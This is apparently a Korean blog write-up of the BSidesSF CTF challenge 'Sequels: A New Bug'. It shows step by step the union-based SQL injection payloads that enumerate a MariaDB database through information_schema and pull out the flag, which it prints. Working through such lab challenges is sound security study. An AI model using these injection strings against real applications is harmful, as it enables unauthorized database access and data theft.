본문 바로가기
CTF

[BSidesSF CTF] Sequels: A New Bug

by skyepodium 2022. 6. 5.

1. 개요

sql injection과 union을 사용하는 문제 - union sql injection

mysql

 

2. 분석

1) 확인

처음 들어가면 다음과 같이 검색창과 테이블이 주어집니다.

 

2) SQL Injection 가능 여부 및 DB 파악

' or 1 = 1

sql injection이 작동하며, MariaDB 임을 알려줍니다. 참고로 MariaDB에서 주석 처리는 # 으로 가능합니다.

3) 주석 처리

limit 부분을 주석처리 했을 때 11번째 데이터가 나옴을 확인했습니다. 주석 처리 잘됩니다.

' or 1 = 1 #

 

3. exploit

1) union

union은 앞의 결과와 뒤의 결과를 합치는 역할을 수행합니다.

 

중요 조건은 앞과 뒤의 칼럼 개수가 같아야합니다.

 

위의 예시에서 칼럼이 3개이기 때문에 union 뒤의 오는 절도 칼럼이 3개 이어야합니다.

 

이런경우 다음 쿼리처럼 그냥 1, 2, 3 이렇게 숫자를 찍어서 칼럼 개수를 맞춥니다.

' union select 1, 2, 3 #

 

 

2) database 파악

db 이름은 sequels1 입니다.

' union select 1, 2, database() #

 

3) 테이블 명 확인

flags 라는 테이블을 찾았고, 정답이 있을것 같습니다.

' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() #

 

4) 컬럼명 확인

value 값으로 데이터를 찾을 수 있음을 확인했습니다.

' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='flags' #

 

5) flag 확인

' union select 1, 2, (select value from flags) #

CTF{help_me_hacker_youre_my_only_hope}

'CTF' 카테고리의 다른 글

[SECCON Beginners CTF 2022] Quiz  (0) 2022.06.05
[SECCON Beginners CTF 2022] Util  (0) 2022.06.05
[n00bzCTF] tcpdump  (0) 2022.06.04
[BCACTF 3.0] My New Friend  (0) 2022.06.04
[BSidesSF CTF] web-tutorial-1  (0) 2022.06.04